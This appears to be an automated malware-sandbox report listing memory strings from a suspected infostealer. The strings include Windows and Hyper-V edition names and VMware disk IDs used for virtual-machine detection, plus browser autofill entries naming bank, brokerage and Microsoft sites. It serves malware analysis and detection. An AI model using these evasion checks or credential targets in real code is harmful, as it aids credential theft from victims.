Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: Web Data.36.dr	Binary or memory string: global block list test formVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: RegAsm.exe, 00000002.00000002.2596470514.000000000152A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000&
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: vmware
Source: Web Data.36.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: Web Data.36.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: RegAsm.exe, 00000002.00000002.2599635058.0000000003D47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: Web Data.36.dr	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: Web Data.36.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Hyper-V (guest)
Source: Web Data.36.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000F7C000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.0000000000B1C000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: Web Data.36.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000F7C000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.0000000000B1C000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000F7C000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.0000000000B1C000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: Web Data.36.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: Web Data.36.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: RegAsm.exe, 00000002.00000002.2596470514.000000000152A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@oX
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: Web Data.36.dr	Binary or memory string: discord.comVMware20,11696487552f
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: RegAsm.exe, 00000002.00000002.2596470514.000000000157F000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4711406923.00000000013F4000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962232462.000000000142D000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000002.4711406923.000000000142D000.00000004.00000020.00020000.00000000.sdmp, explorhe.exe, 0000002E.00000003.3962232462.00000000013F3000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.2761334389.000002033A7EB000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000003.2604866040.000002033A7EB000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.4737168375.000002033A7A0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000031.00000002.4737168375.000002033A7EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: Web Data.36.dr	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: firefox.exe, 00000031.00000002.4753403845.0000020344896000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: RegAsm.exe, 00000002.00000002.2596470514.0000000001560000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#4&1656f219&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}2
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: Web Data.36.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: Web Data.36.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: Web Data.36.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: Web Data.36.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: Web Data.36.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: Web Data.36.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Web Data.36.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: Web Data.36.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: PXBvYMcLF9IUsaGl9axr.exe, PXBvYMcLF9IUsaGl9axr.exe, 0000000F.00000002.2432163030.0000000000E20000.00000040.00000001.01000000.00000009.sdmp, explorhe.exe, 0000002E.00000002.4708216186.00000000009C0000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
